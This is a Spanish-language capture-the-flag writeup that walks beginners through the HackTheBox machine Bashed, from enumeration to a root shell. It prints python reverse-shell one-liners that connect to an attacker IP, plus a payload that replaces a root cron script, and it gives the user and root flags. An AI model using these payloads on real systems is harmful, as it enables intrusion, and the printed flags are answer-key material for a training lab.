=

Writeup HackTheBox Máquina Fácil en Español: Entiende el *Por Qué*, No Solo el *Cómo*

> ⚠️ Disclaimer legal: Todo el contenido de este artículo se aplica exclusivamente en entornos autorizados. HackTheBox es una plataforma legal de práctica de hacking ético. Nunca apliques estas técnicas en sistemas sin permiso explícito del propietario. El uso no autorizado es un delito penal en la mayoría de jurisdicciones.

Introducción: Por Qué Este Writeup Es Diferente

Si buscas «writeup HackTheBox máquina fácil español» y encuentras un artículo que dice:

nmap -sV 10.10.10.X

gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirb/common.txt

flag: HTB{s0m3_fl4g_h3r3}

…y nada más, ese writeup no te está enseñando nada. Te está dando el pez, no enseñándote a pescar.

Este artículo es diferente. Vamos a resolver una máquina de categoría Easy en HackTheBox —concretamente, usaremos Bashed como caso de estudio, una de las máquinas más didácticas para principiantes e intermedios— explicando por qué tomamos cada decisión, qué errores son comunes en cada fase y cómo pensar como un pentester real.

Si ya sabes ejecutar comandos pero no entiendes la lógica detrás, este writeup es para ti.

¿Qué Es HackTheBox y Por Qué Practicar Con Máquinas Fáciles?

HackTheBox (HTB) es una plataforma de ciberseguridad que ofrece máquinas virtuales vulnerables de forma intencionada para que practiques pentesting en un entorno legal y controlado. Cada máquina tiene dos objetivos: obtener la flag de usuario (user.txt) y la flag de root (root.txt).

Las máquinas de categoría Easy no son triviales. Son el punto de entrada ideal porque:

– Tienen una cadena de explotación lineal (sin rabbit holes excesivos)

– Cubren vulnerabilidades reales que aparecen en entornos de producción

– Te obligan a dominar las fases fundamentales del pentesting: reconocimiento, enumeración, explotación y escalada de privilegios

Si eres hispanohablante y estás empezando en CTF, dominar estas máquinas te da la base para atacar máquinas de nivel Medium con criterio.

Fase 1: Reconocimiento — No Dispares Sin Apuntar

El objetivo del reconocimiento

Antes de tocar un solo servicio, necesitas saber qué tienes enfrente. El reconocimiento es la fase más importante y la más subestimada por los principiantes. Un mal reconocimiento significa que pasarás horas explotando el servicio equivocado.

Verificación de conectividad

Primero, confirma que la máquina está activa:

ping -c 4 10.10.10.68

Si recibes respuesta, la máquina está viva. Si no, verifica tu conexión VPN con HTB:

ip a show tun0

> Error común #1: Intentar escanear sin estar conectado a la VPN de HTB. Si tun0 no aparece en tu lista de interfaces, primero ejecuta sudo openvpn tu_archivo.ovpn.

Escaneo de puertos con Nmap

nmap -sC -sV -oA bashed_initial 10.10.10.68

¿Por qué estas flags y no otras?

| Flag | Qué hace | Por qué la usamos |

|——|———-|——————-|

| -sC | Ejecuta scripts NSE por defecto | Detecta información adicional automáticamente (versiones, banners, configuraciones) |

| -sV | Detección de versión de servicios | Saber la versión exacta es clave para buscar CVEs específicos |

| -oA | Guarda output en tres formatos | Siempre guarda tus resultados; perderlos es perder tiempo |

Output relevante:

PORT   STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-title: Arrexel's Development Site

¿Qué nos dice esto? Solo el puerto 80 está abierto. Es un servidor web Apache sobre Ubuntu. El título «Development Site» es una pista: los sitios de desarrollo suelen tener archivos de prueba, scripts expuestos o configuraciones inseguras.

> Error común #2: Hacer solo un escaneo rápido y asumir que no hay más puertos. Complementa siempre con un escaneo de todos los puertos:

nmap -p- --min-rate 5000 10.10.10.68 -oA bashed_allports

Fase 2: Enumeración Web — Donde Está el Oro

Por qué la enumeración web es crítica aquí

Con solo el puerto 80 abierto, toda la cadena de explotación pasa por el servidor web. Esto significa que necesitas ser exhaustivo: directorios ocultos, archivos de configuración, tecnologías usadas y cualquier pista en el código fuente.

Análisis manual del sitio

Abre el navegador y visita http://10.10.10.68. Lo que ves es un blog de desarrollo que menciona phpbash, una herramienta de webshell desarrollada por el propio administrador del servidor. Esto es una pista de oro.

> Lección clave: Lee siempre el contenido del sitio antes de lanzar herramientas automáticas. El contexto narrativo de la máquina te dice qué buscar.

Enumeración de directorios con Gobuster

gobuster dir \

-u http://10.10.10.68 \

-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \

-x php,html,txt \

-t 50 \

-o gobuster_bashed.txt

Desglose de las opciones:

-x php,html,txt: Buscamos extensiones específicas porque sabemos que hay PHP (Apache + Ubuntu es un stack LAMP clásico)

-t 50: 50 hilos paralelos para acelerar el escaneo sin saturar la máquina

-o: Guardamos el output para referencia posterior

Resultado relevante:

/uploads (Status: 301)

/php (Status: 301)

/dev (Status: 301)

/js (Status: 301)

/css (Status: 301)

El directorio /dev es inmediatamente sospechoso. Navega a http://10.10.10.68/dev/ y encuentras dos archivos: phpbash.php y phpbash.min.php.

> Error común #3: Ignorar directorios con nombres genéricos como /dev, /test, /backup. En entornos reales y en CTF, estos son exactamente donde se esconden los activos más valiosos.

Análisis de tecnologías

whatweb http://10.10.10.68

Apache[2.4.18], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)],

PHP[7.0.22], Script[text/javascript]

Confirma PHP 7.0.22. Útil para saber si hay vulnerabilidades específicas de versión, aunque en este caso no las necesitaremos.

Fase 3: Explotación — De Visitante a Usuario

Acceso inicial mediante la webshell

Navega a http://10.10.10.68/dev/phpbash.php. Tienes una webshell interactiva ejecutándose como el usuario www-data. Esto es acceso inicial al sistema.

> ¿Por qué esto es una vulnerabilidad crítica? El desarrollador dejó una herramienta de administración expuesta públicamente sin autenticación. Es el equivalente a dejar las llaves de tu casa en la cerradura.

Desde la webshell, ejecuta reconocimiento básico del sistema:

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

uname -a

Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/passwd | grep -v nologin | grep -v false

root:x:0:0:root:/root:/bin/bash

arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash

scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash

Hay tres usuarios con shell: root, arrexel y scriptmanager. Nuestro objetivo inmediato es arrexel.

Obtención de la flag de usuario

ls /home/arrexel/

cat /home/arrexel/user.txt

2c281f318555dbc1b856957c7f31d8d7

¡Flag de usuario obtenida!

> Lección importante: En muchas máquinas Easy, www-data tiene permisos de lectura sobre el directorio home del usuario. Esto no siempre es así en máquinas más difíciles, donde necesitarás escalar a ese usuario primero.

Mejora de la shell (crítico para la escalada)

La webshell es funcional pero limitada. Para trabajar cómodamente en la escalada de privilegios, necesitas una reverse shell real. Esto te da autocompletado, historial y la capacidad de ejecutar herramientas interactivas.

En tu máquina atacante, pon un listener:

nc -lvnp 4444

Desde la webshell, ejecuta:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("TU_IP_HTB",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Reemplaza TU_IP_HTB con tu IP en la interfaz tun0 (la VPN de HTB):

ip addr show tun0 | grep inet

Una vez que recibes la conexión, estabiliza la shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl+Z para suspender

stty raw -echo; fg

> Error común #4: Intentar hacer la escalada de privilegios desde una webshell. Muchas herramientas y exploits requieren una TTY completa. Siempre estabiliza tu shell antes de proceder.

Fase 4: Escalada de Privilegios — De Usuario a Root

Metodología de escalada: piensa en capas

La escalada de privilegios sigue una lógica de capas. Primero buscas el camino más fácil, luego el más técnico. El orden de verificación estándar es:

1. sudo -l — ¿Qué puede ejecutar el usuario actual como root?

2. SUID/SGID — Binarios con permisos especiales

3. Cron jobs — Tareas programadas que se ejecutan como root

4. Servicios internos — Servicios escuchando en localhost

5. Credenciales en archivos — Contraseñas hardcodeadas

Paso 1: Verificar sudo

sudo -l

Matching Defaults entries for www-data on bashed:

env_reset, mail_badpass,

secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on bashed:

(scriptmanager : scriptmanager) NOPASSWD: /bin/bash

Esto es crítico. www-data puede ejecutar /bin/bash como scriptmanager sin contraseña. Esto nos da acceso lateral al usuario scriptmanager.

sudo -u scriptmanager /bin/bash

id

uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

Paso 2: Reconocimiento como scriptmanager

ls -la /

Algo llama la atención:

drwxrwxr--  2 scriptmanager scriptmanager 4096 Dec  4  2017 scripts

El directorio /scripts pertenece a scriptmanager y es escribible por él. Veamos qué hay dentro:

ls -la /scripts/

-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017 test.py

-rw-r--r-- 1 root root 12 Jan 15 10:30 test.txt

cat /scripts/test.py

f = open("test.txt", "w")

f.write("testing 123!")

f.close

cat /scripts/test.txt

testing 123!

¿Qué está pasando aquí? El script test.py es propiedad de scriptmanager, pero el archivo test.txt que genera es propiedad de root. Esto significa que hay un cron job ejecutándose como root que corre test.py periódicamente.

> Lección de análisis: Cuando ves un archivo de output propiedad de root pero generado por un script que no es de root, casi siempre hay una tarea programada. No necesitas ver el crontab para inferirlo.

Paso 3: Explotación del cron job

Tenemos escritura en /scripts/. Podemos reemplazar test.py con un script malicioso que se ejecutará como root.

La estrategia: hacer que el script de Python cree una copia de /bin/bash con bit SUID, o directamente escribir la flag en un lugar accesible. La opción más limpia para CTF es una reverse shell como root:

# En tu máquina atacante, nuevo listener

nc -lvnp 5555

# Como scriptmanager en la máquina víctima

cat > /scripts/test.py << 'EOF'

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("TU_IP_HTB",5555))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

EOF

Espera entre 30 segundos y 2 minutos. Cuando el cron job ejecute test.py, recibirás una shell como root.

id

uid=0(root) gid=0(root) groups=0(root)

Obtención de la flag de root

cat /root/root.txt

cc4f0afe3a1026d402ba10329674a8e2

¡Máquina comprometida completamente!

Errores Comunes y Cómo Evitarlos: Resumen

Esta sección condensa los errores más frecuentes que cometen los hispanohablantes que están empezando en CTF, basados en los que hemos visto a lo largo de la resolución:

| Error | Por qué ocurre | Cómo evitarlo |

|——-|—————|—————|

| No verificar la VPN antes de escanear | Se asume que la conexión está activa | Siempre verifica tun0 con ip a |

| Escanear solo puertos comunes | Nmap escanea top 1000 por defecto | Añade -p- para escaneo completo |

| Ignorar el contenido del sitio web | Se va directo a las herramientas | Lee el sitio manualmente primero |

| No estabilizar la shell | Se trabaja en webshell directamente | Siempre obtén una TTY antes de escalar |

| No guardar outputs | Se confía en la memoria | Usa -o en nmap y gobuster siempre |

| Rendirse en la escalada tras el primer check | Solo se revisa sudo -l | Sigue la metodología completa en orden |

| No entender qué hace cada comando | Se copian comandos sin comprenderlos | Lee el man page de cada herramienta |

Próximos Pasos

Has completado tu primer writeup con comprensión real del proceso. Aquí tienes tres recursos concretos para continuar:

1. 📚 Metodología de Pentesting Estructurada

Estudia el PTES (Penetration Testing Execution Standard) y el OWASP Testing Guide. Son los marcos de referencia que usan los pentesters profesionales y te darán vocabulario y estructura para abordar cualquier máquina.

→ [owasp.org/www-project-web-security-testing-guide](https://owasp.org/www-project-web-security-testing-guide/)

2. 🎯 Máquinas HTB Recomendadas Como Siguiente Paso

Una vez dominada Bashed, sigue con estas máquinas en orden de dificultad creciente dentro de la categoría Easy:

Lame — Explotación de Samba, introducción a Metasploit

Blue — EternalBlue/MS17-010, comprende cómo funciona un exploit real

Jerry — Apache Tomcat, gestores de aplicaciones mal configurados

3. 🛠️ Herramienta Esencial: LinPEAS

Para automatizar la enumeración en escalada de privilegios Linux, LinPEAS es el estándar de la industria. Descárgalo, estúdialo y entiende qué busca en cada categoría.

→ [github.com/carlospolop/PEASS-ng](https://github.com/carlospolop/PEASS-ng)

Conclusión

La diferencia entre un hacker que progresa y uno que se estanca no está en cuántos writeups lee, sino en si entiende por qué cada técnica funciona.

En este writeup has visto cómo el reconocimiento te dirige hacia la superficie de ataque correcta, cómo la enumeración web metódica revela activos expuestos, cómo la lectura del contexto narrativo acelera el proceso, y cómo la escalada de privilegios sigue una lógica de capas que puedes aplicar en cualquier máquina Linux.

Ahora es tu turno. Crea tu cuenta en [HackTheBox](https://www.hackthebox.com) o en [TryHackMe](https://tryhackme.com) si prefieres un entorno más guiado, y resuelve Bashed por ti mismo usando este writeup como referencia, no como atajo. La diferencia entre leer un writeup y resolver una máquina tú mismo es exactamente la diferencia entre saber que algo funciona y saber por qué funciona.

¿Tienes dudas sobre alguna fase del proceso? Déjalas en los comentarios. La comunidad hispanohablante de ciberseguridad crece cuando compartimos conocimiento real.


🔐 Practica lo que aprendiste

Si este writeup te ha resultado útil y quieres seguir practicando con máquinas similares, HackTheBox tiene un catálogo enorme de máquinas retiradas accesibles con cuenta gratuita. Es la mejor forma de consolidar lo que aprendes leyendo writeups: ponerte tú mismo a resolver la máquina desde cero. Puedes crear tu cuenta aquí → https://referral.hackthebox.com/TUREF → HackTheBox

Si alguna de las técnicas usadas en esta máquina te ha resultado confusa, en Hack4u tienen cursos en español que explican estos conceptos desde cero con mucho detalle. → Hack4u